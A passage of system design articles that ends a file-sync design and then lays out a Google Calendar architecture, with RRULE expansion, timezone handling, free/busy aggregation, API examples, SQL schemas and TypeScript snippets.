│  │  │ DynamoDB     │  │ SQS/SNS      │                    ││
│  │  │ (Journal)    │  │ (Events)     │                    ││
│  │  └──────────────┘  └──────────────┘                    ││
│  └─────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────┘
```

| Component     | AWS Service                    | Configuration                                 |
| ------------- | ------------------------------ | --------------------------------------------- |
| Metadata DB   | Aurora PostgreSQL              | Multi-AZ, read replicas                       |
| Block storage | S3                             | Cross-region replication, 11 nines durability |
| Cache         | ElastiCache Redis              | Cluster mode, 100+ nodes                      |
| Notifications | API Gateway WebSocket + Lambda | 7M concurrent connections                     |
| Queue         | SQS FIFO                       | Deduplication, ordering                       |
| CDN           | CloudFront                     | Edge caching for static assets                |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted          | When to Consider        |
| --------------- | -------------------- | ----------------------- |
| Aurora          | PostgreSQL + Patroni | Cost at 100+ TB scale   |
| S3              | MinIO / Ceph         | Data sovereignty, cost  |
| ElastiCache     | Redis Cluster        | Specific Redis modules  |
| API Gateway WS  | Custom WS server     | Connection limits, cost |

**Dropbox's approach:** Built custom storage system (Magic Pocket) at 50+ PB scale—$75M/year savings vs S3.

## Conclusion

File sync at scale requires:

1. **Content-defined chunking** for efficient delta sync and deduplication
2. **Three-tree model** for unambiguous conflict detection
3. **Content-addressed blocks** for idempotent uploads and cross-user deduplication
4. **Conflicted copies** for safe conflict resolution (no data loss)
5. **Real-time notifications** via WebSocket for sync latency

**Key tradeoffs accepted:**

- Eventual consistency (acceptable for file sync, not for transactional data)
- Client complexity (chunking, hashing, tree reconciliation)
- Storage overhead for deduplication metadata

**Not covered:** Team administration, audit logging, compliance features (HIPAA, SOC 2), mobile-specific optimizations.

## Appendix

### Prerequisites

- Understanding of content-addressable storage
- Familiarity with eventual consistency models
- Basic knowledge of compression algorithms

### Summary

- Content-defined chunking (Gear hash/FastCDC) enables delta sync with only changed blocks transferred
- Three-tree model (local, synced, remote) provides unambiguous merge base for bidirectional sync
- Block-level content addressing enables cross-user deduplication at petabyte scale
- Conflicted copy strategy avoids data loss without complex merge algorithms
- WebSocket notifications + cursor-based APIs enable sub-second sync latency

### References

- [Dropbox: Rewriting the heart of our sync engine](https://dropbox.tech/infrastructure/rewriting-the-heart-of-our-sync-engine) - Three-tree model and Rust rewrite
- [Dropbox: Streaming File Synchronization](https://dropbox.tech/infrastructure/streaming-file-synchronization) - Block sync protocol details
- [Dropbox: Inside the Magic Pocket](https://dropbox.tech/infrastructure/inside-the-magic-pocket) - Storage infrastructure at 500+ PB scale
- [Dropbox: Broccoli - Syncing faster by syncing less](https://dropbox.tech/infrastructure/-broccoli--syncing-faster-by-syncing-less) - Compression optimization
- [Dropbox: Inside LAN Sync](https://dropbox.tech/infrastructure/inside-lan-sync) - P2P sync protocol
- [FastCDC: A Fast and Efficient Content-Defined Chunking Approach](https://www.usenix.org/system/files/conference/atc16/atc16-paper-xia.pdf) - USENIX ATC 2016
- [LBFS: A Low-bandwidth Network File System](https://pdos.csail.mit.edu/papers/lbfs:sosp01/lbfs.pdf) - Rabin fingerprinting for chunking
- [The rsync algorithm](https://rsync.samba.org/tech_report/) - Rolling checksum delta sync

---

## Design Google Calendar

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-google-calendar
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a calendar and scheduling application handling recurring events, timezone complexity, and real-time collaboration. This design addresses event recurrence at scale (RRULE expansion), global timezone handling across DST boundaries, availability aggregation for meeting scheduling, and multi-client synchronization with conflict resolution.

# Design Google Calendar

A comprehensive system design for a calendar and scheduling application handling recurring events, timezone complexity, and real-time collaboration. This design addresses event recurrence at scale (RRULE expansion), global timezone handling across DST boundaries, availability aggregation for meeting scheduling, and multi-client synchronization with conflict resolution.

<figure>

![High-level architecture: Clients connect through an API gateway to core services backed by a hybrid data layer with async processing for notifications and recurrence expansion.](./high-level-architecture-clients-connect-through-an-api-gateway-to-core-services-.svg)

<figcaption>High-level architecture: Clients connect through an API gateway to core services backed by a hybrid data layer with async processing for notifications and recurrence expansion.</figcaption>
</figure>

## Abstract

Calendar systems solve three interconnected problems: **temporal data modeling** (representing events, recurrence rules, and exceptions), **timezone arithmetic** (displaying the same event correctly across global participants), and **availability computation** (finding meeting slots across multiple calendars).

The core data model stores **recurring event masters** with RRULE strings (RFC 5545) rather than individual instances. Expansion happens in a **hybrid approach**: materialize instances 30-90 days ahead for query performance, expand dynamically beyond that window. Exceptions (cancellations, single-instance modifications) are stored separately and merged at read time.

**Timezone handling** requires storing events in local time with named IANA timezone identifiers—never raw UTC offsets. This ensures a "9 AM daily standup" remains at 9 AM local time across DST transitions.

**Conflict-free synchronization** uses sync-tokens (RFC 6578) for incremental updates. Each calendar has a monotonically increasing token; clients send their last token and receive only changes since that state. For concurrent edits, the server maintains the event history and uses last-write-wins with user notification for conflicts.

## Requirements

### Functional Requirements

| Feature                                          | Priority | Scope        |
| ------------------------------------------------ | -------- | ------------ |
| Single events (create, read, update, delete)     | Core     | Full         |
| Recurring events (RRULE support)                 | Core     | Full         |
| Event exceptions (cancel/modify single instance) | Core     | Full         |
| Time zone handling with DST                      | Core     | Full         |
| Meeting invitations (RSVP workflow)              | Core     | Full         |
| Free/busy queries                                | Core     | Full         |
| Calendar sharing and delegation                  | Core     | Full         |
| Reminders and notifications                      | Core     | Full         |
| Multi-client sync (CalDAV)                       | Core     | Full         |
| Calendar search                                  | High     | Full         |
| Meeting room/resource booking                    | High     | Overview     |
| Video conferencing integration                   | Medium   | Brief        |
| Task management (VTODO)                          | Low      | Out of scope |

### Non-Functional Requirements

| Requirement                    | Target          | Rationale                                                   |
| ------------------------------ | --------------- | ----------------------------------------------------------- |
| Availability                   | 99.99%          | Calendar access is mission-critical for business operations |
| Read latency (calendar view)   | p99 < 200ms     | Month view may expand hundreds of recurring events          |
| Write latency (event creation) | p99 < 500ms     | Acceptable for user-initiated actions                       |
| Sync latency                   | < 5 seconds     | Changes should propagate across devices quickly             |
| Data consistency               | Eventual (< 5s) | Strong consistency not required for calendar data           |
| Data retention                 | 10+ years       | Historical calendar data has legal/compliance value         |

### Scale Estimation

**Users:**

- MAU: 500M (Google Workspace + consumer Gmail)
- DAU: 100M
- Peak concurrent: 10M (10% of DAU)

**Events:**

- Average events per user: 50 active recurring + 200 single events
- Total events: 500M users × 250 events = 125B event records
- But with recurrence masters (not instances): ~25B records

**Traffic:**

- Calendar loads: 100M DAU × 10 loads/day = 1B/day = ~12K RPS
- Event writes: 100M DAU × 2 writes/day = 200M/day = ~2.3K RPS
- Free/busy queries: 100M DAU × 0.5/day = 50M/day = ~580 RPS
- Peak multiplier: 3x → 36K RPS reads, 7K RPS writes

**Storage:**

- Event master: ~2KB average (metadata, description, RRULE, attendees)
- 25B events × 2KB = 50TB primary storage
- With indexes, replicas, and history: ~200TB total

## Design Paths

### Path A: RRULE-Centric (Store Rules, Expand on Read)

**Best when:**

- Events have long or infinite recurrence (daily standups forever)
- Storage cost is a primary concern
- Updates to recurring series are frequent

**Key characteristics:**

- Store only the recurrence rule in the events table
- Expand instances dynamically when querying a date range
- Cache expansion results in Redis for frequently accessed calendars

**Trade-offs:**

- ✅ Minimal storage (one record per recurring series)
- ✅ Updating series changes all future instances instantly
- ✅ Supports infinite recurrence naturally
- ❌ CPU-intensive expansion for complex RRULEs
- ❌ Slow queries spanning long date ranges
- ❌ Exception handling adds query complexity

**Real-world example:** Many open-source CalDAV servers (Radicale, DAViCal) use this approach because storage efficiency matters more than query speed for personal calendars.

### Path B: Instance-Centric (Materialize All Instances)

**Best when:**

- Queries span arbitrary date ranges frequently
- Meeting scheduling and free/busy aggregation are critical
- Most events have bounded recurrence (end dates)

**Key characteristics:**

- Pre-expand all instances into a separate table
- Recurring series modifications trigger batch updates to instances
- Indexes on start_time enable fast range queries

**Trade-offs:**

- ✅ O(1) range queries—just filter by date
- ✅ Simple free/busy aggregation (SUM over intervals)
- ✅ Exception instances are just rows with modified fields
- ❌ Storage explosion (daily event for 10 years = 3,650 rows)
- ❌ Series updates require updating thousands of rows
- ❌ Cannot support infinite recurrence

**Real-world example:** Microsoft Outlook's Exchange uses materialization for corporate calendars where meeting scheduling performance is paramount.

### Path C: Hybrid (Chosen Approach)

**Best when:**

- Mix of short-term and long-term recurring events
- Need both fast queries and storage efficiency
- Workload varies (view calendar vs. schedule meetings)

**Key characteristics:**

- Store recurrence rules in the master events table
- Materialize instances for a rolling window (30-90 days)
- Expand dynamically beyond the materialized window
- Background jobs refresh materialized instances nightly

**Trade-offs:**

- ✅ Fast queries within the materialized window
- ✅ Reasonable storage (30-90 instances per series, not thousands)
- ✅ Can support infinite recurrence (expand on demand)
- ✅ Series updates only touch instances within window
- ❌ More complex architecture (two code paths)
- ❌ Stale data possible if background jobs lag

### Path Comparison

| Factor              | Path A (RRULE)     | Path B (Instance)     | Path C (Hybrid)    |
| ------------------- | ------------------ | --------------------- | ------------------ |
| Storage             | Minimal            | High                  | Moderate           |
| Read latency        | High (expansion)   | Low                   | Low within window  |
| Write complexity    | Low                | High (batch updates)  | Moderate           |
| Infinite recurrence | Yes                | No                    | Yes                |
| Free/busy speed     | Slow               | Fast                  | Fast within window |
| Best for            | Personal calendars | Enterprise scheduling | General-purpose    |

### This Article's Focus

This article implements **Path C (Hybrid)** because Google Calendar serves both consumer users (long-running personal recurring events) and enterprise users (meeting-heavy scheduling). The hybrid approach optimizes for the common case (viewing this week/month) while supporting edge cases (events repeating forever).

## High-Level Design

### Service Architecture

#### Event Service

Handles CRUD operations for events and recurring masters:

- Create/update/delete single events
- Create/update/delete recurring series (stores RRULE)
- Create exceptions (modified or cancelled instances)
- Query events by date range (calls Recurrence Service for expansion)

#### Recurrence Service

Expands RRULE strings into concrete instances:

- Parse RRULE using RFC 5545 grammar
- Generate instances within a date range
- Apply EXDATE (exclusions) and RDATE (additions)
- Merge with exception instances from database
- Cache expansions in Redis (TTL = 1 hour)

#### Scheduling Service

Handles meeting coordination:

- Aggregate free/busy across attendees
- Find available meeting slots
- Send invitations (iTIP REQUEST method)
- Process RSVPs (iTIP REPLY method)
- Resource (room) availability and booking

#### Sync Service

Manages multi-client synchronization:

- Implement CalDAV protocol (RFC 4791)
- Maintain sync-tokens per calendar
- Push notifications for real-time updates (WebSocket/FCM)
- Handle conflict detection and resolution

#### Notification Service

Delivers reminders and alerts:

- Schedule reminders based on event VALARM
- Deliver via push notification, email, SMS
- Handle timezone-aware scheduling (reminder at 9 AM local time)
- Batch notification delivery for efficiency

### Data Flow: Creating a Recurring Event

![Diagram](./diagram-1.svg)

### Data Flow: Querying Calendar View

![Diagram](./diagram-2.svg)

## API Design

### Event Resource

#### Create Event

**Endpoint:** `POST /api/v1/calendars/{calendarId}/events`

```json collapse={1-3, 29-35}
// Headers
Authorization: Bearer {access_token}
Content-Type: application/json

// Request body
{
  "summary": "Weekly Team Standup",
  "description": "Discuss blockers and priorities",
  "start": {
    "dateTime": "2024-01-15T09:00:00",
    "timeZone": "America/New_York"
  },
  "end": {
    "dateTime": "2024-01-15T09:30:00",
    "timeZone": "America/New_York"
  },
  "recurrence": ["RRULE:FREQ=WEEKLY;BYDAY=MO,WE,FR"],
  "attendees": [
    {"email": "alice@example.com"},
    {"email": "bob@example.com", "optional": true}
  ],
  "reminders": {
    "useDefault": false,
    "overrides": [
      {"method": "popup", "minutes": 10},
      {"method": "email", "minutes": 60}
    ]
  },
  "conferenceData": {
    "createRequest": {"requestId": "unique-request-id"}
  },
  "visibility": "default",
  "transparency": "opaque"
}
```

**Response (201 Created):**

```json collapse={1-5, 35-50}
{
  "kind": "calendar#event",
  "etag": "\"3148476458000000\"",
  "id": "abc123xyz",
  "status": "confirmed",
  "htmlLink": "https://calendar.example.com/event?eid=abc123xyz",
  "created": "2024-01-10T15:30:00.000Z",
  "updated": "2024-01-10T15:30:00.000Z",
  "summary": "Weekly Team Standup",
  "description": "Discuss blockers and priorities",
  "creator": {
    "email": "organizer@example.com",
    "self": true
  },
  "organizer": {
    "email": "organizer@example.com",
    "self": true
  },
  "start": {
    "dateTime": "2024-01-15T09:00:00-05:00",
    "timeZone": "America/New_York"
  },
  "end": {
    "dateTime": "2024-01-15T09:30:00-05:00",
    "timeZone": "America/New_York"
  },
  "recurrence": ["RRULE:FREQ=WEEKLY;BYDAY=MO,WE,FR"],
  "iCalUID": "abc123xyz@calendar.example.com",
  "sequence": 0,
  "attendees": [
    { "email": "alice@example.com", "responseStatus": "needsAction" },
    { "email": "bob@example.com", "responseStatus": "needsAction", "optional": true }
  ],
  "reminders": {
    "useDefault": false,
    "overrides": [
      { "method": "popup", "minutes": 10 },
      { "method": "email", "minutes": 60 }
    ]
  },
  "conferenceData": {
    "conferenceId": "meet123",
    "conferenceSolution": {
      "name": "Google Meet",
      "iconUri": "https://..."
    },
    "entryPoints": [{ "entryPointType": "video", "uri": "https://meet.example.com/meet123" }]
  }
}
```

**Error Responses:**

- `400 Bad Request`: Invalid RRULE syntax, missing required fields
- `401 Unauthorized`: Missing or invalid auth token
- `403 Forbidden`: No write access to calendar
- `409 Conflict`: Event conflicts with existing event (if strict mode)
- `429 Too Many Requests`: Rate limit exceeded

**Rate Limits:** 600 requests/minute per user, 10,000/minute per project

#### Query Events

**Endpoint:** `GET /api/v1/calendars/{calendarId}/events`

**Query Parameters:**

| Parameter      | Type    | Description                                           |
| -------------- | ------- | ----------------------------------------------------- |
| `timeMin`      | ISO8601 | Lower bound (inclusive) for event end time            |
| `timeMax`      | ISO8601 | Upper bound (exclusive) for event start time          |
| `singleEvents` | boolean | If true, expand recurring events into instances       |
| `orderBy`      | string  | `startTime` (requires singleEvents=true) or `updated` |
| `maxResults`   | integer | Maximum entries returned (default: 250, max: 2500)    |
| `pageToken`    | string  | Token for pagination                                  |
| `syncToken`    | string  | Token from previous sync for incremental updates      |
| `showDeleted`  | boolean | Include cancelled events (for sync)                   |

**Design Decision: Pagination Strategy**

**Why cursor-based (pageToken/syncToken), not offset-based:**

- Calendar data is highly dynamic (events created/deleted constantly)
- Offset pagination breaks when data changes between pages
- Sync tokens enable efficient incremental sync (only fetch changes)

**Sync flow:**

1. Initial full sync: `GET /events?timeMin=...&timeMax=...` → returns `nextSyncToken`
2. Incremental sync: `GET /events?syncToken={token}` → returns changed items + new `syncToken`
3. If sync token expires (410 Gone): perform full sync again

#### Modify Single Instance of Recurring Event

**Endpoint:** `PUT /api/v1/calendars/{calendarId}/events/{recurringEventId}/instances/{instanceId}`

This creates an **exception instance** that overrides the recurring pattern for one occurrence.

```json
{
  "start": {
    "dateTime": "2024-01-17T10:00:00",
    "timeZone": "America/New_York"
  },
  "end": {
    "dateTime": "2024-01-17T10:30:00",
    "timeZone": "America/New_York"
  }
}
```

The `instanceId` encodes the original instance date (e.g., `abc123xyz_20240117T140000Z`).

**Design Decision: How Exceptions Are Stored**

The exception is stored as a separate row linked to the recurring master via `recurring_event_id` with the `original_start_time` preserved. This allows:

- Querying the modified instance by its new time
- Reverting to the original time by deleting the exception
- Identifying which instance was modified (via `original_start_time`)

### Free/Busy Query

**Endpoint:** `POST /api/v1/freeBusy`

```json
{
  "timeMin": "2024-01-15T00:00:00Z",
  "timeMax": "2024-01-22T00:00:00Z",
  "items": [
    { "id": "alice@example.com" },
    { "id": "bob@example.com" },
    { "id": "conference-room-a@resource.example.com" }
  ]
}
```

**Response:**

```json collapse={1-3, 25-30}
{
  "kind": "calendar#freeBusy",
  "timeMin": "2024-01-15T00:00:00Z",
  "timeMax": "2024-01-22T00:00:00Z",
  "calendars": {
    "alice@example.com": {
      "busy": [
        { "start": "2024-01-15T14:00:00Z", "end": "2024-01-15T15:00:00Z" },
        { "start": "2024-01-16T09:00:00Z", "end": "2024-01-16T10:00:00Z" }
      ]
    },
    "bob@example.com": {
      "busy": [{ "start": "2024-01-15T14:00:00Z", "end": "2024-01-15T14:30:00Z" }]
    },
    "conference-room-a@resource.example.com": {
      "busy": [{ "start": "2024-01-15T10:00:00Z", "end": "2024-01-15T11:00:00Z" }],
      "errors": []
    }
  },
  "groups": {}
}
```

**Design Decision: Free/Busy Privacy**

Free/busy queries return only time intervals, not event details. This allows users to share availability without exposing meeting contents. The `transparency` field on events controls whether they appear as busy:

- `opaque` (default): Shows as busy
- `transparent`: Doesn't block time (e.g., "Working from home" all-day event)

## Data Modeling

### Event Schema

**Primary Store:** PostgreSQL (ACID for writes, complex queries for recurrence)

```sql collapse={1-5, 45-55}
-- Users and calendars (simplified)
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    email VARCHAR(255) UNIQUE NOT NULL,
    timezone VARCHAR(50) DEFAULT 'UTC',
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE calendars (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    owner_id UUID NOT NULL REFERENCES users(id),
    name VARCHAR(255) NOT NULL,
    timezone VARCHAR(50) NOT NULL,
    sync_token BIGINT DEFAULT 0,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

-- Event master table (stores both single and recurring events)
CREATE TABLE events (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    calendar_id UUID NOT NULL REFERENCES calendars(id),
    ical_uid VARCHAR(255) NOT NULL,  -- RFC 5545 UID for iCal interop
    summary VARCHAR(500),
    description TEXT,
    location VARCHAR(500),

    -- Time fields stored in local time with timezone
    start_datetime TIMESTAMP NOT NULL,
    end_datetime TIMESTAMP NOT NULL,
    start_timezone VARCHAR(50) NOT NULL,
    end_timezone VARCHAR(50) NOT NULL,
    is_all_day BOOLEAN DEFAULT FALSE,

    -- Recurrence (NULL for single events)
    recurrence_rule TEXT,  -- RRULE string, e.g., "FREQ=WEEKLY;BYDAY=MO,WE,FR"
    recurrence_exceptions TEXT[],  -- EXDATE array
    recurrence_additions TEXT[],   -- RDATE array

    -- Metadata
    status VARCHAR(20) DEFAULT 'confirmed',  -- confirmed, tentative, cancelled
    visibility VARCHAR(20) DEFAULT 'default',  -- default, public, private
    transparency VARCHAR(20) DEFAULT 'opaque',  -- opaque, transparent
    sequence INTEGER DEFAULT 0,  -- Increment on updates (iCal SEQUENCE)

    -- Organizer and creator
    organizer_email VARCHAR(255),
    creator_email VARCHAR(255),

    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ,  -- Soft delete

    UNIQUE(calendar_id, ical_uid)
);

-- Indexes for common query patterns
CREATE INDEX idx_events_calendar_time ON events(calendar_id, start_datetime, end_datetime)
    WHERE deleted_at IS NULL;
CREATE INDEX idx_events_updated ON events(calendar_id, updated_at)
    WHERE deleted_at IS NULL;
CREATE INDEX idx_events_recurring ON events(calendar_id)
    WHERE recurrence_rule IS NOT NULL AND deleted_at IS NULL;
```

**Design Decision: Local Time Storage**

Why store `start_datetime` as local time with a separate `start_timezone` instead of UTC?

1. **DST correctness**: A "9 AM daily standup" should always be at 9 AM local time. If stored as UTC, it would shift by an hour during DST transitions.
2. **RRULE expansion**: The RRULE `BYDAY=MO` means Monday in the event's timezone, not UTC Monday.
3. **Display simplicity**: No conversion needed when displaying in the organizer's timezone.

**Trade-off**: Queries that span multiple timezones require conversion. The materialized instances table stores computed UTC times for efficient range queries.

### Materialized Instances

```sql collapse={1-3, 30-35}
-- Materialized instances for query performance
-- Regenerated nightly for rolling 90-day window
CREATE TABLE event_instances (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    event_id UUID NOT NULL REFERENCES events(id) ON DELETE CASCADE,
    calendar_id UUID NOT NULL REFERENCES calendars(id),

    -- Instance timing (UTC for efficient range queries)
    instance_start_utc TIMESTAMPTZ NOT NULL,
    instance_end_utc TIMESTAMPTZ NOT NULL,

    -- Original occurrence date (for exception matching)
    original_start_utc TIMESTAMPTZ NOT NULL,

    -- Instance-specific overrides (NULL = inherit from master)
    summary_override VARCHAR(500),
    description_override TEXT,
    location_override VARCHAR(500),
    start_override TIMESTAMP,
    end_override TIMESTAMP,
    timezone_override VARCHAR(50),

    -- Exception status
    status VARCHAR(20) NOT NULL DEFAULT 'confirmed',  -- confirmed, cancelled
    is_exception BOOLEAN DEFAULT FALSE,

    created_at TIMESTAMPTZ DEFAULT NOW()
);

-- Primary query index: calendar + date range
CREATE INDEX idx_instances_calendar_range
    ON event_instances(calendar_id, instance_start_utc, instance_end_utc)
    WHERE status != 'cancelled';

-- Free/busy aggregation index
CREATE INDEX idx_instances_freebusy
    ON event_instances(calendar_id, instance_start_utc, instance_end_utc)
    WHERE status = 'confirmed';

-- Exception lookup (find if this occurrence has been modified)
CREATE INDEX idx_instances_exception
    ON event_instances(event_id, original_start_utc)
    WHERE is_exception = TRUE;
```

### Attendees and RSVPs

```sql collapse={1-3, 25-30}
-- Attendees for meetings
CREATE TABLE event_attendees (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    event_id UUID NOT NULL REFERENCES events(id) ON DELETE CASCADE,
    email VARCHAR(255) NOT NULL,
    display_name VARCHAR(255),

    -- Response status (RFC 5545 PARTSTAT)
    response_status VARCHAR(20) DEFAULT 'needsAction',
        -- needsAction, declined, tentative, accepted

    -- Role
    is_organizer BOOLEAN DEFAULT FALSE,
    is_optional BOOLEAN DEFAULT FALSE,
    is_resource BOOLEAN DEFAULT FALSE,  -- Conference room, equipment

    -- Response metadata
    response_comment TEXT,
    responded_at TIMESTAMPTZ,

    UNIQUE(event_id, email)
);

CREATE INDEX idx_attendees_email ON event_attendees(email, event_id);
CREATE INDEX idx_attendees_event ON event_attendees(event_id);
```

### Database Selection Matrix

| Data Type            | Store                 | Rationale                                         |
| -------------------- | --------------------- | ------------------------------------------------- |
| Events and instances | PostgreSQL            | ACID, complex RRULE queries, date range filtering |
| Free/busy cache      | Redis Sorted Sets     | Sub-ms latency, TTL, efficient range queries      |
| Full-text search     | Elasticsearch         | Event content search, attendee search             |
| Attachments          | Object Storage (S3)   | Large files, CDN delivery                         |
| Notification queue   | Redis Streams / Kafka | High throughput, at-least-once delivery           |
| Sync tokens          | PostgreSQL            | Transactional consistency with events             |

### Sharding Strategy

**Primary shard key:** `calendar_id`

**Rationale:**

- Co-locates all events for a calendar (most queries filter by calendar)
- Calendar view queries hit single shard
- Cross-calendar queries (free/busy) require scatter-gather, but these are less frequent

**Shard distribution:**

- Hash-based sharding on `calendar_id`
- 256 logical shards, distributed across physical nodes
- Rebalancing via consistent hashing

## Low-Level Design

### Recurrence Expansion Algorithm

The recurrence service expands RRULE strings into concrete instances. RFC 5545 defines the algorithm, but edge cases require careful handling.

#### RRULE Parsing and Expansion

```typescript collapse={1-10, 45-60}
// Using a library like rrule.js or python-dateutil for parsing
import { RRule, RRuleSet, rrulestr } from "rrule"

interface RecurrenceExpansionRequest {
  rruleString: string // e.g., "FREQ=WEEKLY;BYDAY=MO,WE,FR"
  dtstart: Date // Series start in local time
  timezone: string // IANA timezone
  rangeStart: Date // Query range start (UTC)
  rangeEnd: Date // Query range end (UTC)
  exdates?: Date[] // Excluded dates
  rdates?: Date[] // Additional dates
}

function expandRecurrence(req: RecurrenceExpansionRequest): Date[] {
  // Parse the RRULE with timezone awareness
  const rule = RRule.fromString(req.rruleString)

  const rruleSet = new RRuleSet()
  rruleSet.rrule(rule)

  // Add exclusions (EXDATE)
  for (const exdate of req.exdates ?? []) {
    rruleSet.exdate(exdate)
  }

  // Add additional dates (RDATE)
  for (const rdate of req.rdates ?? []) {
    rruleSet.rdate(rdate)
  }

  // Expand within range
  // CRITICAL: between() uses the RRULE's timezone for DST handling
  const instances = rruleSet.between(req.rangeStart, req.rangeEnd, true)

  return instances
}

// Example: Weekly standup at 9 AM, Mon/Wed/Fri
const instances = expandRecurrence({
  rruleString: "FREQ=WEEKLY;BYDAY=MO,WE,FR",
  dtstart: new Date("2024-01-15T09:00:00"),
  timezone: "America/New_York",
  rangeStart: new Date("2024-01-01T00:00:00Z"),
  rangeEnd: new Date("2024-03-31T23:59:59Z"),
  exdates: [new Date("2024-01-17T09:00:00")], // Skip Jan 17
})
// Returns: [Jan 15, Jan 19, Jan 22, Jan 24, Jan 26, ...]
```

#### DST Edge Cases

**Spring Forward (2 AM → 3 AM):**

When an event is scheduled at 2:30 AM on the night clocks spring forward, the time doesn't exist.

```typescript collapse={1-5}
// Handling non-existent times during spring forward
function adjustForDST(localTime: Date, timezone: string): Date {
  const { DateTime } = require("luxon")

  const dt = DateTime.fromJSDate(localTime, { zone: timezone })

  if (!dt.isValid && dt.invalidReason === "time zone offset transition") {
    // Time doesn't exist—shift forward to the next valid time
    return dt.plus({ hours: 1 }).toJSDate()
  }

  return localTime
}
```

**Fall Back (2 AM occurs twice):**

When clocks fall back, the 1:00-2:00 AM hour repeats. The iCalendar spec recommends using the first occurrence.

**Design Decision:** Follow the VTIMEZONE specification by storing and expanding in local time with TZID. The TZID references the IANA database, which contains the complete DST rules. Libraries like Luxon, date-fns-tz, and moment-timezone handle this correctly.

### Free/Busy Aggregation

Free/busy aggregation is the core of meeting scheduling. It must be fast (< 100ms for 10 attendees over 1 week) and respect privacy.

#### Redis-Based Free/Busy Cache

```typescript collapse={1-8, 40-50}
import { Redis } from "ioredis"

interface BusyInterval {
  start: number // Unix timestamp
  end: number
  eventId?: string // Only for the calendar owner
}

// Store busy intervals as sorted set members
// Key: freebusy:{calendarId}
// Score: start timestamp
// Member: JSON { start, end, eventId }

async function updateFreeBusy(redis: Redis, calendarId: string, instances: EventInstance[]): Promise<void> {
  const key = `freebusy:${calendarId}`
  const pipeline = redis.pipeline()

  // Clear existing entries in the affected range
  const rangeStart = Math.min(...instances.map((i) => i.startUtc.getTime() / 1000))
  const rangeEnd = Math.max(...instances.map((i) => i.endUtc.getTime() / 1000))
  pipeline.zremrangebyscore(key, rangeStart, rangeEnd)

  // Add new busy intervals
  for (const instance of instances) {
    if (instance.status === "confirmed" && instance.transparency === "opaque") {
      const interval: BusyInterval = {
        start: instance.startUtc.getTime() / 1000,
        end: instance.endUtc.getTime() / 1000,
        eventId: instance.eventId,
      }
      pipeline.zadd(key, interval.start, JSON.stringify(interval))
    }
  }

  // Set TTL to 7 days (refresh weekly)
  pipeline.expire(key, 7 * 24 * 60 * 60)

  await pipeline.exec()
}

async function queryFreeBusy(
  redis: Redis,
  calendarId: string,
  rangeStart: Date,
  rangeEnd: Date,
): Promise<BusyInterval[]> {
  const key = `freebusy:${calendarId}`
  const start = rangeStart.getTime() / 1000
  const end = rangeEnd.getTime() / 1000

  // Get all intervals that START within the range
  const members = await redis.zrangebyscore(key, start, end)

  return members.map((m) => JSON.parse(m) as BusyInterval).filter((interval) => interval.end > start) // Exclude ended before range
}
```

#### Finding Available Slots

```typescript collapse={1-5, 50-60}
interface TimeSlot {
  start: Date
  end: Date
}

function findAvailableSlots(
  busyIntervalsByAttendee: Map<string, BusyInterval[]>,
  rangeStart: Date,
  rangeEnd: Date,
  duration: number, // minutes
  workingHours?: { start: number; end: number }, // e.g., { start: 9, end: 17 }
): TimeSlot[] {
  // Merge all busy intervals
  const allBusy: BusyInterval[] = []
  for (const intervals of busyIntervalsByAttendee.values()) {
    allBusy.push(...intervals)
  }

  // Sort by start time
  allBusy.sort((a, b) => a.start - b.start)

  // Merge overlapping intervals
  const merged: BusyInterval[] = []
  for (const interval of allBusy) {
    if (merged.length === 0 || merged[merged.length - 1].end < interval.start) {
      merged.push({ ...interval })
    } else {
      merged[merged.length - 1].end = Math.max(merged[merged.length - 1].end, interval.end)
    }
  }

  // Find gaps that fit the duration
  const durationSec = duration * 60
  const available: TimeSlot[] = []
  let cursor = rangeStart.getTime() / 1000

  for (const busy of merged) {
    if (busy.start - cursor >= durationSec) {
      available.push({
        start: new Date(cursor * 1000),
        end: new Date(busy.start * 1000),
      })
    }
    cursor = Math.max(cursor, busy.end)
  }

  // Check final gap
  const endSec = rangeEnd.getTime() / 1000
  if (endSec - cursor >= durationSec) {
    available.push({
      start: new Date(cursor * 1000),
      end: rangeEnd,
    })
  }

  // Filter by working hours if specified
  if (workingHours) {
    return available.filter((slot) => {
      const startHour = slot.start.getHours()
      return startHour >= workingHours.start && startHour < workingHours.end
    })
  }

  return available
}
```

**Time Complexity:** O(N log N) for sorting, O(N) for merging, where N = total busy intervals across all attendees.

### Sync Token Implementation

Sync tokens enable efficient incremental sync for CalDAV clients and mobile apps.

```sql collapse={1-5}
-- Track changes for sync
CREATE TABLE calendar_changes (
    id BIGSERIAL PRIMARY KEY,
    calendar_id UUID NOT NULL REFERENCES calendars(id),
    event_id UUID NOT NULL,
    change_type VARCHAR(10) NOT NULL,  -- 'created', 'updated', 'deleted'
    changed_at TIMESTAMPTZ DEFAULT NOW(),
    sync_token BIGINT NOT NULL  -- Matches calendars.sync_token at time of change
);

CREATE INDEX idx_changes_sync ON calendar_changes(calendar_id, sync_token);

-- On event change, record it
CREATE OR REPLACE FUNCTION record_event_change()
RETURNS TRIGGER AS $$
BEGIN
  -- Increment calendar's sync token
  UPDATE calendars SET sync_token = sync_token + 1 WHERE id = NEW.calendar_id;

  -- Record the change
  INSERT INTO calendar_changes (calendar_id, event_id, change_type, sync_token)
  SELECT NEW.calendar_id, NEW.id, TG_OP, sync_token FROM calendars WHERE id = NEW.calendar_id;

  RETURN NEW;
END;
$$ LANGUAGE plpgsql;
```

**Sync flow:**

1. **Initial sync:** Client receives all events + current `syncToken` (e.g., 15)
2. **Incremental sync:** Client sends `syncToken=15`, server returns changes where `sync_token > 15` + new token (e.g., 23)
3. **Token expiration:** If changes for token 15 have been purged (older than 30 days), return 410 Gone → client performs full sync

### Invitation Workflow (iTIP/iMIP)

When an organizer invites attendees, the system generates iTIP REQUEST messages:

